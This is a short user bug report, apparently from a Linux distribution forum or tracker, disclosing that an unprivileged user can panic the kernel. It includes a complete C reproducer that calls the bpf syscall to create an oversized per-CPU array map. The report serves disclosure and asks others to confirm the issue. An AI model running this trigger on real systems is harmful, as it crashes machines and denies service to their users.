Currently it is possible to crash the kernel as an unprivileged user (Local DOS). I am not sure if this issue is arch-linux related or if it is an kernel bug. However in a correct situation the OOM killer would kick in and stop the process (which actually happens sometimes and sometimes not, depending on the input and tty). Currently with the Arch kernel config this does not happen (also tested with the current master branch of the Linux kernel)

I've reproduced it on my main system (Xeon E3-1231 v3 ROOTFS xfs 16gb ram and i5 8250 ROOTFS ext4 but HOMEFS xfs 8gb ram)

Maybe it is xfs related, can anyone confirm the issue?

The attachment contains the panic message
CODE:
"""
#define _GNU_SOURCE
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <linux/bpf.h>
#include <linux/version.h>
#include <errno.h>

int main(int argc, char const *argv[])
{
int tmp;
union bpf_attr create_map_attrs = {
.map_type = BPF_MAP_TYPE_PERCPU_ARRAY,
.key_size = 4,
.value_size = 30824,
.max_entries = 13245950
};
tmp = syscall(SYS_bpf, BPF_MAP_CREATE, &create_map_attrs, sizeof(create_map_attrs));
if (tmp == -1)
err(errno, "");
printf("Syscall return %X\n", tmp);
}

"""